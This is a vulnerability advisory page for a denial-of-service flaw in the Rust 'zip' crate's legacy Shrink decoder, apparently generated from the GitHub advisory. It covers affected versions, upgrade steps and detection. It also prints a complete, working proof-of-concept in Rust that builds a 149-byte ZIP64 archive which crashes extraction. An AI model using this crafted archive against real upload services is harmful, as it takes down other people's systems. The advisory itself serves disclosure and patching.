NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Rust (crates.io)

CVE-2026-115907: zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size

highCVSS 3.1 7.5GHSA-9hj8-73fh-9963

The Rust `zip` crate reserves memory from an attacker-controlled ZIP64 uncompressed size in its legacy Shrink, Reduce and Implode decoders. A 149-byte archive makes `ZipArchive::extract()` panic with `capacity overflow` and can kill the process. Only builds with the `legacy-zip` feature are affected. Upgrade to 9.0.0.

Published Oct 29, 2026 · Analysis Oct 31, 2026

What an attacker can do

With the legacy-zip Cargo feature on, ShrinkDecoder::read() in src/legacy/shrink.rs buffers the compressed input and calls self.stream.reserve(self.uncompressed_size as usize). The size comes from the entry's ZIP metadata. For ZIP64 entries an attacker can set it to any 64-bit value independent of the real payload. The proof of concept declares u64::MAX and supplies one byte of compressed data.

The reserve runs before hwunshrink() validates or decodes anything, so the impossible capacity causes a deterministic capacity overflow panic instead of a normal error. It happens in optimised release builds, and the process exits with status 101. The report says the same unbounded allocation pattern exists in the Reduce and Implode decoders; only the Shrink path was demonstrated.

Any service that accepts ZIP files from untrusted users and calls ZipArchive::extract can be taken down with a tiny upload. The attacker needs no account beyond whatever the upload path requires. Only availability is affected.

Who is affected

The zip crate from 5.1.0 up to but not including 9.0.0, and only when the legacy-zip feature is enabled and untrusted archives reach ZipArchive::extract. The report used 8.6.0 for its proof of concept. Check your resolved version and features:

cargo tree -i zip -e features

If legacy-zip is not listed, the vulnerable codecs are not compiled in.

zip

Ecosystem
Rust (crates.io)
Affected
>= 5.1.0, < 9.0.0
Fixed in
9.0.0
Check
cargo tree -i zip

How to fix it

Update to zip 9.0.0.

cargo update -p zip --precise 9.0.0

If your manifest pins an older range, raise the requirement to zip = "9" first. The fix landed in pull request 991 and the 9.0.0 release. If you cannot upgrade yet, disable the legacy-zip feature, which removes the vulnerable decoders, or reject archives that use ZIP64 with the Shrink, Reduce or Implode methods before extraction. Running extraction in a separate process also keeps a panic from taking down the main service.

How to tell if you were hit

Look for process exits with status 101 and a panic message capacity overflow with a backtrace through ZipArchive::extract_internal and the Shrink decompressor. Inspect uploaded archives for ZIP64 entries with compression method 1 (Shrink), 2 to 5 (Reduce) or 6 (Implode) and a declared uncompressed size far larger than the file itself.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.

Details

When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:

if !self.stream_read {
    self.stream_read = true;
    let mut compressed_bytes = Vec::new();
    self.compressed_reader.read_to_end(&mut compressed_bytes)?;
    self.stream.reserve(self.uncompressed_size as usize);
    hwunshrink(
        &compressed_bytes,
        self.uncompressed_size as usize,
        &mut self.stream,
    )?;
}

In version 8.6.0, this is located in `src/legacy/shrink.rs`. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.

self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.

The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().

The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.

PoC

Create a new Cargo project with the following layout:

zip2-legacy-poc/
|-- Cargo.toml
`-- src/
    `-- main.rs

Use this Cargo.toml:

[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false

[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }

Use this src/main.rs:

use std::fs::File;
use std::io::{Cursor, Write};

fn push16(out: &mut Vec<u8>, value: u16) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push32(out: &mut Vec<u8>, value: u32) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push64(out: &mut Vec<u8>, value: u64) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn zip64_extra() -> Vec<u8> {
    let mut extra = Vec::new();
    push16(&mut extra, 0x0001);
    push16(&mut extra, 16);
    push64(&mut extra, u64::MAX);
    push64(&mut extra, 1);
    extra
}

fn archive() -> Vec<u8> {
    let name = b"entry";
    let extra = zip64_extra();
    let mut out = Vec::new();

    push32(&mut out, 0x0403_4b50);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);
    out.push(0);

    let central_start = out.len() as u32;

    push32(&mut out, 0x0201_4b50);
    push16(&mut out, 45);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, 0);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);

    let central_size = out.len() as u32 - central_start;

    push32(&mut out, 0x0605_4b50);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 1);
    push16(&mut out, 1);
    push32(&mut out, central_size);
    push32(&mut out, central_start);
    push16(&mut out, 0);
    out
}

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let bytes = archive();
    File::create("poc.zip")?.write_all(&bytes)?;

    let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;
    let entry = archive.by_index(0)?;

    println!(
        "method={:?} declared_size={}",
        entry.compression(),
        entry.size()
    );

    drop(entry);

    let output = tempfile::tempdir()?;
    archive.extract(output.path())?;
    Ok(())
}

Run the reproducer in release mode:

cd zip2-legacy-poc
RUST_BACKTRACE=1 cargo run --release

Observed output with zip 8.6.0 on x86_64-unknown-linux-gnu:

method=Shrink declared_size=18446744073709551615

thread 'main' panicked at .../alloc/src/raw_vec/mod.rs:
capacity overflow

The backtrace reaches the Shrink decompressor through std::io::copy and ZipArchive::extract_internal(). The process exits with status 101. The program also writes the generated 149-byte archive to poc.zip before triggering extraction.

Impact

Applications that enable legacy-zip and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.

  • zip::read::ZipArchive::extract

Credited to Yeaseen.

Questions

Am I affected by CVE-2026-115907 if I use the zip crate without legacy-zip?

No. The vulnerable Shrink, Reduce and Implode decoders are compiled only when the legacy-zip Cargo feature is enabled.

Does it cause memory exhaustion or a crash?

A crash. The oversized reservation overflows the allocator's capacity limit and panics before any decoding, so the process exits rather than consuming memory.

Which version fixes it?

zip 9.0.0. The affected range starts at 5.1.0.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Rust (crates.io) vulnerabilities

All Rust (crates.io) entries